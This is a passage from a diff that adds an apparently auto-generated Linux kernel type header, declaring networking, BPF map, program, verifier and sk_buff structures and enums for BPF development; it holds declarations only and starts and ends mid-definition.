xfrm_policy_hthresh policy_hthresh; + struct list_head inexact_bins; + struct sock *nlsk; + struct sock *nlsk_stash; + u32 sysctl_aevent_etime; + u32 sysctl_aevent_rseqth; + int sysctl_larval_drop; + u32 sysctl_acq_expires; + u8 policy_default[3]; + struct ctl_table_header *sysctl_hdr; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct dst_ops xfrm4_dst_ops; + struct dst_ops xfrm6_dst_ops; + spinlock_t xfrm_state_lock; + seqcount_spinlock_t xfrm_state_hash_generation; + seqcount_spinlock_t xfrm_policy_hash_generation; + spinlock_t xfrm_policy_lock; + struct mutex xfrm_cfg_mutex; +}; + +struct mpls_route; + +struct netns_mpls { + int ip_ttl_propagate; + int default_ttl; + size_t platform_labels; + struct mpls_route **platform_label; + struct ctl_table_header *ctl; +}; + +struct netns_xdp { + struct mutex lock; + struct hlist_head list; +}; + +struct uevent_sock; + +struct net_generic; + +struct net { + refcount_t passive; + spinlock_t rules_mod_lock; + atomic_t dev_unreg_count; + unsigned int dev_base_seq; + int ifindex; + spinlock_t nsid_lock; + atomic_t fnhe_genid; + struct list_head list; + struct list_head exit_list; + struct llist_node cleanup_list; + struct key_tag *key_domain; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct idr netns_ids; + struct ns_common ns; + struct ref_tracker_dir refcnt_tracker; + struct ref_tracker_dir notrefcnt_tracker; + struct list_head dev_base_head; + struct proc_dir_entry *proc_net; + struct proc_dir_entry *proc_net_stat; + struct ctl_table_set sysctls; + struct sock *rtnl; + struct sock *genl_sock; + struct uevent_sock *uevent_sock; + struct hlist_head *dev_name_head; + struct hlist_head *dev_index_head; + struct raw_notifier_head netdev_chain; + u32 hash_mix; + struct net_device *loopback_dev; + struct list_head rules_ops; + struct netns_core core; + struct netns_mib mib; + struct netns_packet packet; + struct netns_unix unx; + struct netns_nexthop nexthop; + long: 64; + long: 64; + long: 64; + struct netns_ipv4 ipv4; + struct netns_ipv6 ipv6; + struct netns_nf nf; + struct netns_ct ct; + struct net_generic *gen; + struct netns_bpf bpf; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct netns_xfrm xfrm; + u64 net_cookie; + struct netns_mpls mpls; + struct netns_xdp xdp; + struct sock *diag_nlsk; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +typedef struct { + local64_t v; +} u64_stats_t; + +struct bpf_cgroup_storage; + +struct bpf_prog_array_item { + struct bpf_prog *prog; + union { + struct bpf_cgroup_storage *cgroup_storage[2]; + u64 bpf_cookie; + }; +}; + +struct bpf_prog_array { + struct callback_head rcu; + struct bpf_prog_array_item items[0]; +}; + +struct bpf_mem_alloc; + +typedef u64 (*bpf_callback_t)(u64, u64, u64, u64, u64); + +struct bpf_iter_aux_info; + +typedef int (*bpf_iter_init_seq_priv_t)(void *, struct bpf_iter_aux_info *); + +enum bpf_iter_task_type { + BPF_TASK_ITER_ALL = 0, + BPF_TASK_ITER_TID = 1, + BPF_TASK_ITER_TGID = 2, +}; + +struct bpf_map; + +struct bpf_iter_aux_info { + struct bpf_map *map; + struct { + struct cgroup *start; + enum bpf_cgroup_iter_order order; + } cgroup; + struct { + enum bpf_iter_task_type type; + u32 pid; + } task; +}; + +typedef void (*bpf_iter_fini_seq_priv_t)(void *); + +typedef unsigned int (*bpf_func_t)(const void *, const struct bpf_insn *); + +struct bpf_iter_seq_info { + const struct seq_operations *seq_ops; + bpf_iter_init_seq_priv_t init_seq_private; + bpf_iter_fini_seq_priv_t fini_seq_private; + u32 seq_priv_size; +}; + +struct bpf_local_storage_map; + +struct bpf_verifier_env; + +struct bpf_func_state; + +struct bpf_map_ops { + int (*map_alloc_check)(union bpf_attr *); + struct bpf_map * (*map_alloc)(union bpf_attr *); + void (*map_release)(struct bpf_map *, struct file *); + void (*map_free)(struct bpf_map *); + int (*map_get_next_key)(struct bpf_map *, void *, void *); + void (*map_release_uref)(struct bpf_map *); + void * (*map_lookup_elem_sys_only)(struct bpf_map *, void *); + int (*map_lookup_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); + int (*map_lookup_and_delete_elem)(struct bpf_map *, void *, void *, u64); + int (*map_lookup_and_delete_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); + int (*map_update_batch)(struct bpf_map *, struct file *, const union bpf_attr *, union bpf_attr *); + int (*map_delete_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); + void * (*map_lookup_elem)(struct bpf_map *, void *); + long int (*map_update_elem)(struct bpf_map *, void *, void *, u64); + long int (*map_delete_elem)(struct bpf_map *, void *); + long int (*map_push_elem)(struct bpf_map *, void *, u64); + long int (*map_pop_elem)(struct bpf_map *, void *); + long int (*map_peek_elem)(struct bpf_map *, void *); + void * (*map_lookup_percpu_elem)(struct bpf_map *, void *, u32); + void * (*map_fd_get_ptr)(struct bpf_map *, struct file *, int); + void (*map_fd_put_ptr)(void *); + int (*map_gen_lookup)(struct bpf_map *, struct bpf_insn *); + u32 (*map_fd_sys_lookup_elem)(void *); + void (*map_seq_show_elem)(struct bpf_map *, void *, struct seq_file *); + int (*map_check_btf)(const struct bpf_map *, const struct btf *, const struct btf_type *, const struct btf_type *); + int (*map_poke_track)(struct bpf_map *, struct bpf_prog_aux *); + void (*map_poke_untrack)(struct bpf_map *, struct bpf_prog_aux *); + void (*map_poke_run)(struct bpf_map *, u32, struct bpf_prog *, struct bpf_prog *); + int (*map_direct_value_addr)(const struct bpf_map *, u64 *, u32); + int (*map_direct_value_meta)(const struct bpf_map *, u64, u32 *); + int (*map_mmap)(struct bpf_map *, struct vm_area_struct *); + __poll_t (*map_poll)(struct bpf_map *, struct file *, struct poll_table_struct *); + int (*map_local_storage_charge)(struct bpf_local_storage_map *, void *, u32); + void (*map_local_storage_uncharge)(struct bpf_local_storage_map *, void *, u32); + struct bpf_local_storage ** (*map_owner_storage_ptr)(void *); + long int (*map_redirect)(struct bpf_map *, u64, u64); + bool (*map_meta_equal)(const struct bpf_map *, const struct bpf_map *); + int (*map_set_for_each_callback_args)(struct bpf_verifier_env *, struct bpf_func_state *, struct bpf_func_state *); + long int (*map_for_each_callback)(struct bpf_map *, bpf_callback_t, void *, u64); + u64 (*map_mem_usage)(const struct bpf_map *); + int *map_btf_id; + const struct bpf_iter_seq_info *iter_seq_info; +}; + +struct bpf_map { + const struct bpf_map_ops *ops; + struct bpf_map *inner_map_meta; + void *security; + enum bpf_map_type map_type; + u32 key_size; + u32 value_size; + u32 max_entries; + u64 map_extra; + u32 map_flags; + u32 id; + struct btf_record *record; + int numa_node; + u32 btf_key_type_id; + u32 btf_value_type_id; + u32 btf_vmlinux_value_type_id; + struct btf *btf; + struct obj_cgroup *objcg; + char name[16]; + long: 64; + long: 64; + atomic64_t refcnt; + atomic64_t usercnt; + struct work_struct work; + struct mutex freeze_mutex; + atomic64_t writecnt; + struct { + spinlock_t lock; + enum bpf_prog_type type; + bool jited; + bool xdp_has_frags; + } owner; + bool bypass_spec_v1; + bool frozen; +}; + +struct btf_header { + __u16 magic; + __u8 version; + __u8 flags; + __u32 hdr_len; + __u32 type_off; + __u32 type_len; + __u32 str_off; + __u32 str_len; +}; + +struct btf_kfunc_set_tab; + +struct btf_id_dtor_kfunc_tab; + +struct btf_struct_metas; + +struct btf { + void *data; + struct btf_type **types; + u32 *resolved_ids; + u32 *resolved_sizes; + const char *strings; + void *nohdr_data; + struct btf_header hdr; + u32 nr_types; + u32 types_size; + u32 data_size; + refcount_t refcnt; + u32 id; + struct callback_head rcu; + struct btf_kfunc_set_tab *kfunc_set_tab; + struct btf_id_dtor_kfunc_tab *dtor_kfunc_tab; + struct btf_struct_metas *struct_meta_tab; + struct btf *base_btf; + u32 start_id; + u32 start_str_off; + char name[56]; + bool kernel_btf; +}; + +struct bpf_ksym { + long unsigned int start; + long unsigned int end; + char name[512]; + struct list_head lnode; + struct latch_tree_node tnode; + bool prog; +}; + +struct bpf_ctx_arg_aux; + +struct bpf_trampoline; + +struct bpf_jit_poke_descriptor; + +struct bpf_kfunc_desc_tab; + +struct bpf_kfunc_btf_tab; + +struct bpf_prog_ops; + +struct btf_mod_pair; + +struct bpf_prog_offload; + +struct bpf_func_info_aux; + +struct bpf_prog_aux { + atomic64_t refcnt; + u32 used_map_cnt; + u32 used_btf_cnt; + u32 max_ctx_offset; + u32 max_pkt_offset; + u32 max_tp_access; + u32 stack_depth; + u32 id; + u32 func_cnt; + u32 func_idx; + u32 attach_btf_id; + u32 ctx_arg_info_size; + u32 max_rdonly_access; + u32 max_rdwr_access; + struct btf *attach_btf; + const struct bpf_ctx_arg_aux *ctx_arg_info; + struct mutex dst_mutex; + struct bpf_prog *dst_prog; + struct bpf_trampoline *dst_trampoline; + enum bpf_prog_type saved_dst_prog_type; + enum bpf_attach_type saved_dst_attach_type; + bool verifier_zext; + bool dev_bound; + bool offload_requested; + bool attach_btf_trace; + bool func_proto_unreliable; + bool sleepable; + bool tail_call_reachable; + bool xdp_has_frags; + const struct btf_type *attach_func_proto; + const char *attach_func_name; + struct bpf_prog **func; + void *jit_data; + struct bpf_jit_poke_descriptor *poke_tab; + struct bpf_kfunc_desc_tab *kfunc_tab; + struct bpf_kfunc_btf_tab *kfunc_btf_tab; + u32 size_poke_tab; + struct bpf_ksym ksym; + const struct bpf_prog_ops *ops; + struct bpf_map **used_maps; + struct mutex used_maps_mutex; + struct btf_mod_pair *used_btfs; + struct bpf_prog *prog; + struct user_struct *user; + u64 load_time; + u32 verified_insns; + int cgroup_atype; + struct bpf_map *cgroup_storage[2]; + char name[16]; + void *security; + struct bpf_prog_offload *offload; + struct btf *btf; + struct bpf_func_info *func_info; + struct bpf_func_info_aux *func_info_aux; + struct bpf_line_info *linfo; + void **jited_linfo; + u32 func_info_cnt; + u32 nr_linfo; + u32 linfo_idx; + struct module *mod; + u32 num_exentries; + struct exception_table_entry *extable; + union { + struct work_struct work; + struct callback_head rcu; + }; +}; + +struct bpf_offloaded_map; + +struct bpf_map_dev_ops { + int (*map_get_next_key)(struct bpf_offloaded_map *, void *, void *); + int (*map_lookup_elem)(struct bpf_offloaded_map *, void *, void *); + int (*map_update_elem)(struct bpf_offloaded_map *, void *, void *, u64); + int (*map_delete_elem)(struct bpf_offloaded_map *, void *); +}; + +struct bpf_offloaded_map { + struct bpf_map map; + struct net_device *netdev; + const struct bpf_map_dev_ops *dev_ops; + void *dev_priv; + struct list_head offloads; + long: 64; + long: 64; + long: 64; +}; + +typedef u32 xdp_features_t; + +struct net_device_stats { + union { + long unsigned int rx_packets; + atomic_long_t __rx_packets; + }; + union { + long unsigned int tx_packets; + atomic_long_t __tx_packets; + }; + union { + long unsigned int rx_bytes; + atomic_long_t __rx_bytes; + }; + union { + long unsigned int tx_bytes; + atomic_long_t __tx_bytes; + }; + union { + long unsigned int rx_errors; + atomic_long_t __rx_errors; + }; + union { + long unsigned int tx_errors; + atomic_long_t __tx_errors; + }; + union { + long unsigned int rx_dropped; + atomic_long_t __rx_dropped; + }; + union { + long unsigned int tx_dropped; + atomic_long_t __tx_dropped; + }; + union { + long unsigned int multicast; + atomic_long_t __multicast; + }; + union { + long unsigned int collisions; + atomic_long_t __collisions; + }; + union { + long unsigned int rx_length_errors; + atomic_long_t __rx_length_errors; + }; + union { + long unsigned int rx_over_errors; + atomic_long_t __rx_over_errors; + }; + union { + long unsigned int rx_crc_errors; + atomic_long_t __rx_crc_errors; + }; + union { + long unsigned int rx_frame_errors; + atomic_long_t __rx_frame_errors; + }; + union { + long unsigned int rx_fifo_errors; + atomic_long_t __rx_fifo_errors; + }; + union { + long unsigned int rx_missed_errors; + atomic_long_t __rx_missed_errors; + }; + union { + long unsigned int tx_aborted_errors; + atomic_long_t __tx_aborted_errors; + }; + union { + long unsigned int tx_carrier_errors; + atomic_long_t __tx_carrier_errors; + }; + union { + long unsigned int tx_fifo_errors; + atomic_long_t __tx_fifo_errors; + }; + union { + long unsigned int tx_heartbeat_errors; + atomic_long_t __tx_heartbeat_errors; + }; + union { + long unsigned int tx_window_errors; + atomic_long_t __tx_window_errors; + }; + union { + long unsigned int rx_compressed; + atomic_long_t __rx_compressed; + }; + union { + long unsigned int tx_compressed; + atomic_long_t __tx_compressed; + }; +}; + +struct netdev_hw_addr_list { + struct list_head list; + int count; + struct rb_root tree; +}; + +enum rx_handler_result { + RX_HANDLER_CONSUMED = 0, + RX_HANDLER_ANOTHER = 1, + RX_HANDLER_EXACT = 2, + RX_HANDLER_PASS = 3, +}; + +typedef enum rx_handler_result rx_handler_result_t; + +typedef rx_handler_result_t rx_handler_func_t(struct sk_buff **); + +enum netdev_ml_priv_type { + ML_PRIV_NONE = 0, + ML_PRIV_CAN = 1, +}; + +struct netdev_tc_txq { + u16 count; + u16 offset; +}; + +struct sfp_bus; + +struct bpf_xdp_link; + +struct bpf_xdp_entity { + struct bpf_prog *prog; + struct bpf_xdp_link *link; +}; + +typedef struct {} netdevice_tracker; + +struct netdev_name_node; + +struct dev_ifalias; + +struct net_device_ops; + +struct xdp_metadata_ops; + +struct net_device_core_stats; + +struct ethtool_ops; + +struct l3mdev_ops; + +struct ndisc_ops; + +struct header_ops; + +struct in_device; + +struct inet6_dev; + +struct vlan_info; + +struct mpls_dev; + +struct netdev_rx_queue; + +struct mini_Qdisc; + +struct netdev_queue; + +struct cpu_rmap; + +struct Qdisc; + +struct xdp_dev_bulk_queue; + +struct xps_dev_maps; + +struct pcpu_lstats; + +struct pcpu_sw_netstats; + +struct pcpu_dstats; + +struct rtnl_link_ops; + +struct dcbnl_rtnl_ops; + +struct phy_device; + +struct udp_tunnel_nic_info; + +struct udp_tunnel_nic; + +struct rtnl_hw_stats64; + +struct devlink_port; + +struct net_device { + char name[16]; + struct netdev_name_node *name_node; + struct dev_ifalias *ifalias; + long unsigned int mem_end; + long unsigned int mem_start; + long unsigned int base_addr; + long unsigned int state; + struct list_head dev_list; + struct list_head napi_list; + struct list_head unreg_list; + struct list_head close_list; + struct list_head ptype_all; + struct list_head ptype_specific; + struct { + struct list_head upper; + struct list_head lower; + } adj_list; + unsigned int flags; + xdp_features_t xdp_features; + long long unsigned int priv_flags; + const struct net_device_ops *netdev_ops; + const struct xdp_metadata_ops *xdp_metadata_ops; + int ifindex; + short unsigned int gflags; + short unsigned int hard_header_len; + unsigned int mtu; + short unsigned int needed_headroom; + short unsigned int needed_tailroom; + netdev_features_t features; + netdev_features_t hw_features; + netdev_features_t wanted_features; + netdev_features_t vlan_features; + netdev_features_t hw_enc_features; + netdev_features_t mpls_features; + netdev_features_t gso_partial_features; + unsigned int min_mtu; + unsigned int max_mtu; + short unsigned int type; + unsigned char min_header_len; + unsigned char name_assign_type; + int group; + struct net_device_stats stats; + struct net_device_core_stats *core_stats; + atomic_t carrier_up_count; + atomic_t carrier_down_count; + const struct ethtool_ops *ethtool_ops; + const struct l3mdev_ops *l3mdev_ops; + const struct ndisc_ops *ndisc_ops; + const struct header_ops *header_ops; + unsigned char operstate; + unsigned char link_mode; + unsigned char if_port; + unsigned char dma; + unsigned char perm_addr[32]; + unsigned char addr_assign_type; + unsigned char addr_len; + unsigned char upper_level; + unsigned char lower_level; + short unsigned int neigh_priv_len; + short unsigned int dev_id; + short unsigned int dev_port; + short unsigned int padded; + spinlock_t addr_list_lock; + int irq; + struct netdev_hw_addr_list uc; + struct netdev_hw_addr_list mc; + struct netdev_hw_addr_list dev_addrs; + struct kset *queues_kset; + struct list_head unlink_list; + unsigned int promiscuity; + unsigned int allmulti; + bool uc_promisc; + unsigned char nested_level; + struct in_device *ip_ptr; + struct inet6_dev *ip6_ptr; + struct vlan_info *vlan_info; + struct mpls_dev *mpls_ptr; + const unsigned char *dev_addr; + struct netdev_rx_queue *_rx; + unsigned int num_rx_queues; + unsigned int real_num_rx_queues; + struct bpf_prog *xdp_prog; + long unsigned int gro_flush_timeout; + int napi_defer_hard_irqs; + unsigned int gro_max_size; + unsigned int gro_ipv4_max_size; + rx_handler_func_t *rx_handler; + void *rx_handler_data; + struct mini_Qdisc *miniq_ingress; + struct netdev_queue *ingress_queue; + struct nf_hook_entries *nf_hooks_ingress; + unsigned char broadcast[32]; + struct cpu_rmap *rx_cpu_rmap; + struct hlist_node index_hlist; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct netdev_queue *_tx; + unsigned int num_tx_queues; + unsigned int real_num_tx_queues; + struct Qdisc *qdisc; + unsigned int tx_queue_len; + spinlock_t tx_global_lock; + struct xdp_dev_bulk_queue *xdp_bulkq; + struct xps_dev_maps *xps_maps[2]; + struct mini_Qdisc *miniq_egress; + struct nf_hook_entries *nf_hooks_egress; + struct hlist_head qdisc_hash[16]; + struct timer_list watchdog_timer; + int watchdog_timeo; + u32 proto_down_reason; + struct list_head todo_list; + int *pcpu_refcnt; + struct ref_tracker_dir refcnt_tracker; + struct list_head link_watch_list; + enum { + NETREG_UNINITIALIZED = 0, + NETREG_REGISTERED = 1, + NETREG_UNREGISTERING = 2, + NETREG_UNREGISTERED = 3, + NETREG_RELEASED = 4, + NETREG_DUMMY = 5, + } reg_state: 8; + bool dismantle; + enum { + RTNL_LINK_INITIALIZED = 0, + RTNL_LINK_INITIALIZING = 1, + } rtnl_link_state: 16; + bool needs_free_netdev; + void (*priv_destructor)(struct net_device *); + possible_net_t nd_net; + void *ml_priv; + enum netdev_ml_priv_type ml_priv_type; + union { + struct pcpu_lstats *lstats; + struct pcpu_sw_netstats *tstats; + struct pcpu_dstats *dstats; + }; + struct device dev; + const struct attribute_group *sysfs_groups[4]; + const struct attribute_group *sysfs_rx_queue_group; + const struct rtnl_link_ops *rtnl_link_ops; + unsigned int gso_max_size; + unsigned int tso_max_size; + u16 gso_max_segs; + u16 tso_max_segs; + unsigned int gso_ipv4_max_size; + const struct dcbnl_rtnl_ops *dcbnl_ops; + s16 num_tc; + struct netdev_tc_txq tc_to_txq[16]; + u8 prio_tc_map[16]; + struct phy_device *phydev; + struct sfp_bus *sfp_bus; + struct lock_class_key *qdisc_tx_busylock; + bool proto_down; + unsigned int wol_enabled: 1; + unsigned int threaded: 1; + struct list_head net_notifier_list; + const struct udp_tunnel_nic_info *udp_tunnel_nic_info; + struct udp_tunnel_nic *udp_tunnel_nic; + struct bpf_xdp_entity xdp_state[3]; + u8 dev_addr_shadow[32]; + netdevice_tracker linkwatch_dev_tracker; + netdevice_tracker watchdog_dev_tracker; + netdevice_tracker dev_registered_tracker; + struct rtnl_hw_stats64 *offload_xstats_l3; + struct devlink_port *devlink_port; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum bpf_arg_type { + ARG_DONTCARE = 0, + ARG_CONST_MAP_PTR = 1, + ARG_PTR_TO_MAP_KEY = 2, + ARG_PTR_TO_MAP_VALUE = 3, + ARG_PTR_TO_MEM = 4, + ARG_CONST_SIZE = 5, + ARG_CONST_SIZE_OR_ZERO = 6, + ARG_PTR_TO_CTX = 7, + ARG_ANYTHING = 8, + ARG_PTR_TO_SPIN_LOCK = 9, + ARG_PTR_TO_SOCK_COMMON = 10, + ARG_PTR_TO_INT = 11, + ARG_PTR_TO_LONG = 12, + ARG_PTR_TO_SOCKET = 13, + ARG_PTR_TO_BTF_ID = 14, + ARG_PTR_TO_RINGBUF_MEM = 15, + ARG_CONST_ALLOC_SIZE_OR_ZERO = 16, + ARG_PTR_TO_BTF_ID_SOCK_COMMON = 17, + ARG_PTR_TO_PERCPU_BTF_ID = 18, + ARG_PTR_TO_FUNC = 19, + ARG_PTR_TO_STACK = 20, + ARG_PTR_TO_CONST_STR = 21, + ARG_PTR_TO_TIMER = 22, + ARG_PTR_TO_KPTR = 23, + ARG_PTR_TO_DYNPTR = 24, + __BPF_ARG_TYPE_MAX = 25, + ARG_PTR_TO_MAP_VALUE_OR_NULL = 259, + ARG_PTR_TO_MEM_OR_NULL = 260, + ARG_PTR_TO_CTX_OR_NULL = 263, + ARG_PTR_TO_SOCKET_OR_NULL = 269, + ARG_PTR_TO_STACK_OR_NULL = 276, + ARG_PTR_TO_BTF_ID_OR_NULL = 270, + ARG_PTR_TO_UNINIT_MEM = 32772, + ARG_PTR_TO_FIXED_SIZE_MEM = 262148, + __BPF_ARG_TYPE_LIMIT = 33554431, +}; + +enum bpf_return_type { + RET_INTEGER = 0, + RET_VOID = 1, + RET_PTR_TO_MAP_VALUE = 2, + RET_PTR_TO_SOCKET = 3, + RET_PTR_TO_TCP_SOCK = 4, + RET_PTR_TO_SOCK_COMMON = 5, + RET_PTR_TO_MEM = 6, + RET_PTR_TO_MEM_OR_BTF_ID = 7, + RET_PTR_TO_BTF_ID = 8, + __BPF_RET_TYPE_MAX = 9, + RET_PTR_TO_MAP_VALUE_OR_NULL = 258, + RET_PTR_TO_SOCKET_OR_NULL = 259, + RET_PTR_TO_TCP_SOCK_OR_NULL = 260, + RET_PTR_TO_SOCK_COMMON_OR_NULL = 261, + RET_PTR_TO_RINGBUF_MEM_OR_NULL = 1286, + RET_PTR_TO_DYNPTR_MEM_OR_NULL = 262, + RET_PTR_TO_BTF_ID_OR_NULL = 264, + RET_PTR_TO_BTF_ID_TRUSTED = 1048584, + __BPF_RET_TYPE_LIMIT = 33554431, +}; + +struct bpf_func_proto { + u64 (*func)(u64, u64, u64, u64, u64); + bool gpl_only; + bool pkt_access; + bool might_sleep; + enum bpf_return_type ret_type; + union { + struct { + enum bpf_arg_type arg1_type; + enum bpf_arg_type arg2_type; + enum bpf_arg_type arg3_type; + enum bpf_arg_type arg4_type; + enum bpf_arg_type arg5_type; + }; + enum bpf_arg_type arg_type[5]; + }; + union { + struct { + u32 *arg1_btf_id; + u32 *arg2_btf_id; + u32 *arg3_btf_id; + u32 *arg4_btf_id; + u32 *arg5_btf_id; + }; + u32 *arg_btf_id[5]; + struct { + size_t arg1_size; + size_t arg2_size; + size_t arg3_size; + size_t arg4_size; + size_t arg5_size; + }; + size_t arg_size[5]; + }; + int *ret_btf_id; + bool (*allowed)(const struct bpf_prog *); +}; + +enum bpf_access_type { + BPF_READ = 1, + BPF_WRITE = 2, +}; + +enum bpf_reg_type { + NOT_INIT = 0, + SCALAR_VALUE = 1, + PTR_TO_CTX = 2, + CONST_PTR_TO_MAP = 3, + PTR_TO_MAP_VALUE = 4, + PTR_TO_MAP_KEY = 5, + PTR_TO_STACK = 6, + PTR_TO_PACKET_META = 7, + PTR_TO_PACKET = 8, + PTR_TO_PACKET_END = 9, + PTR_TO_FLOW_KEYS = 10, + PTR_TO_SOCKET = 11, + PTR_TO_SOCK_COMMON = 12, + PTR_TO_TCP_SOCK = 13, + PTR_TO_TP_BUFFER = 14, + PTR_TO_XDP_SOCK = 15, + PTR_TO_BTF_ID = 16, + PTR_TO_MEM = 17, + PTR_TO_BUF = 18, + PTR_TO_FUNC = 19, + CONST_PTR_TO_DYNPTR = 20, + __BPF_REG_TYPE_MAX = 21, + PTR_TO_MAP_VALUE_OR_NULL = 260, + PTR_TO_SOCKET_OR_NULL = 267, + PTR_TO_SOCK_COMMON_OR_NULL = 268, + PTR_TO_TCP_SOCK_OR_NULL = 269, + PTR_TO_BTF_ID_OR_NULL = 272, + __BPF_REG_TYPE_LIMIT = 33554431, +}; + +struct bpf_verifier_log; + +struct bpf_insn_access_aux { + enum bpf_reg_type reg_type; + union { + int ctx_field_size; + struct { + struct btf *btf; + u32 btf_id; + }; + }; + struct bpf_verifier_log *log; +}; + +struct bpf_prog_ops { + int (*test_run)(struct bpf_prog *, const union bpf_attr *, union bpf_attr *); +}; + +struct bpf_reg_state; + +struct bpf_verifier_ops { + const struct bpf_func_proto * (*get_func_proto)(enum bpf_func_id, const struct bpf_prog *); + bool (*is_valid_access)(int, int, enum bpf_access_type, const struct bpf_prog *, struct bpf_insn_access_aux *); + int (*gen_prologue)(struct bpf_insn *, bool, const struct bpf_prog *); + int (*gen_ld_abs)(const struct bpf_insn *, struct bpf_insn *); + u32 (*convert_ctx_access)(enum bpf_access_type, const struct bpf_insn *, struct bpf_insn *, struct bpf_prog *, u32 *); + int (*btf_struct_access)(struct bpf_verifier_log *, const struct bpf_reg_state *, int, int); +}; + +enum bpf_dynptr_type { + BPF_DYNPTR_TYPE_INVALID = 0, + BPF_DYNPTR_TYPE_LOCAL = 1, + BPF_DYNPTR_TYPE_RINGBUF = 2, + BPF_DYNPTR_TYPE_SKB = 3, + BPF_DYNPTR_TYPE_XDP = 4, +}; + +enum bpf_iter_state { + BPF_ITER_STATE_INVALID = 0, + BPF_ITER_STATE_ACTIVE = 1, + BPF_ITER_STATE_DRAINED = 2, +}; + +struct tnum { + u64 value; + u64 mask; +}; + +enum bpf_reg_liveness { + REG_LIVE_NONE = 0, + REG_LIVE_READ32 = 1, + REG_LIVE_READ64 = 2, + REG_LIVE_READ = 3, + REG_LIVE_WRITTEN = 4, + REG_LIVE_DONE = 8, +}; + +struct bpf_reg_state { + enum bpf_reg_type type; + s32 off; + union { + int range; + struct { + struct bpf_map *map_ptr; + u32 map_uid; + }; + struct { + struct btf *btf; + u32 btf_id; + }; + struct { + u32 mem_size; + u32 dynptr_id; + }; + struct { + enum bpf_dynptr_type type; + bool first_slot; + } dynptr; + struct { + struct btf *btf; + u32 btf_id; + enum bpf_iter_state state: 2; + int depth: 30; + } iter; + struct { + long unsigned int raw1; + long unsigned int raw2; + } raw; + u32 subprogno; + }; + struct tnum var_off; + s64 smin_value; + s64 smax_value; + u64 umin_value; + u64 umax_value; + s32 s32_min_value; + s32 s32_max_value; + u32 u32_min_value; + u32 u32_max_value; + u32 id; + u32 ref_obj_id; + struct bpf_reg_state *parent; + u32 frameno; + s32 subreg_def; + enum bpf_reg_liveness live; + bool precise; +}; + +struct bpf_offload_dev; + +struct bpf_prog_offload { + struct bpf_prog *prog; + struct net_device *netdev; + struct bpf_offload_dev *offdev; + void *dev_priv; + struct list_head offloads; + bool dev_state; + bool opt_failed; + void *jited_image; + u32 jited_len; +}; + +struct btf_func_model { + u8 ret_size; + u8 ret_flags; + u8 nr_args; + u8 arg_size[12]; + u8 arg_flags[12]; +}; + +struct bpf_tramp_image { + void *image; + struct bpf_ksym ksym; + struct percpu_ref pcref; + void *ip_after_call; + void *ip_epilogue; + union { + struct callback_head rcu; + struct work_struct work; + }; +}; + +struct bpf_trampoline { + struct hlist_node hlist; + struct ftrace_ops *fops; + struct mutex mutex; + refcount_t refcnt; + u32 flags; + u64 key; + struct { + struct btf_func_model model; + void *addr; + bool ftrace_managed; + } func; + struct bpf_prog *extension_prog; + struct hlist_head progs_hlist[3]; + int progs_cnt[3]; + struct bpf_tramp_image *cur_image; + struct module *mod; +}; + +struct bpf_dispatcher_prog { + struct bpf_prog *prog; + refcount_t users; +}; + +struct bpf_dispatcher { + struct mutex mutex; + void *func; + struct bpf_dispatcher_prog progs[48]; + int num_progs; + void *image; + void *rw_image; + u32 image_off; + struct bpf_ksym ksym; + struct static_call_key *sc_key; + void *sc_tramp; +}; + +struct bpf_func_info_aux { + u16 linkage; + bool unreliable; +}; + +struct bpf_jit_poke_descriptor { + void *tailcall_target; + void *tailcall_bypass; + void *bypass_addr; + void *aux; + union { + struct { + struct bpf_map *map; + u32 key; + } tail_call; + }; + bool tailcall_target_stable; + u8 adj_off; + u16 reason; + u32 insn_idx; +}; + +struct bpf_ctx_arg_aux { + u32 offset; + enum bpf_reg_type reg_type; + u32 btf_id; +}; + +struct btf_mod_pair { + struct btf *btf; + struct module *module; +}; + +struct bpf_prog_stats { + u64_stats_t cnt; + u64_stats_t nsecs; + u64_stats_t misses; + struct u64_stats_sync syncp; + long: 64; +}; + +struct sock_fprog_kern { + u16 len; + struct sock_filter *filter; +}; + +struct bpf_storage_buffer; + +struct bpf_cgroup_storage_map; + +struct bpf_cgroup_storage { + union { + struct bpf_storage_buffer *buf; + void *percpu_buf; + }; + struct bpf_cgroup_storage_map *map; + struct bpf_cgroup_storage_key key; + struct list_head list_map; + struct list_head list_cg; + struct rb_node node; + struct callback_head rcu; +}; + +struct bpf_empty_prog_array { + struct bpf_prog_array hdr; + struct bpf_prog *null_prog; +}; + +struct bpf_trace_run_ctx { + struct bpf_run_ctx run_ctx; + u64 bpf_cookie; +}; + +typedef u32 (*bpf_prog_run_fn)(const struct bpf_prog *, const void *); + +typedef unsigned int sk_buff_data_t; + +struct skb_ext; + +struct sk_buff { + union { + struct { + struct sk_buff *next; + struct sk_buff *prev; + union { + struct net_device *dev; + long unsigned int dev_scratch; + }; + }; + struct rb_node rbnode; + struct list_head list; + struct llist_node ll_node; + }; + union { + struct sock *sk; + int ip_defrag_offset; + }; + union { + ktime_t tstamp; + u64 skb_mstamp_ns; + }; + char cb[48]; + union { + struct { + long unsigned int _skb_refdst; + void (*destructor)(struct sk_buff *); + }; + struct list_head tcp_tsorted_anchor; + long unsigned int _sk_redir; + }; + long unsigned int _nfct; + unsigned int len; + unsigned int data_len; + __u16 mac_len; + __u16 hdr_len; + __u16 queue_mapping; + __u8 __cloned_offset[0]; + __u8 cloned: 1; + __u8 nohdr: 1; + __u8 fclone: 2; + __u8 peeked: 1; + __u8 head_frag: 1; + __u8 pfmemalloc: 1; + __u8 pp_recycle: 1; + __u8 active_extensions; + union { + struct { + __u8 __pkt_type_offset[0]; + __u8 pkt_type: 3; + __u8 ignore_df: 1; + __u8 dst_pending_confirm: 1; + __u8 ip_summed: 2; + __u8 ooo_okay: 1; + __u8 __mono_tc_offset[0]; + __u8 mono_delivery_time: 1; + __u8 tc_at_ingress: 1; + __u8 tc_skip_classify: 1; + __u8 remcsum_offload: 1; + __u8 csum_complete_sw: 1; + __u8 csum_level: 2; + __u8 inner_protocol_type: 1; + __u8 l4_hash: 1; + __u8 sw_hash: 1; + __u8 wifi_acked_valid: 1; + __u8 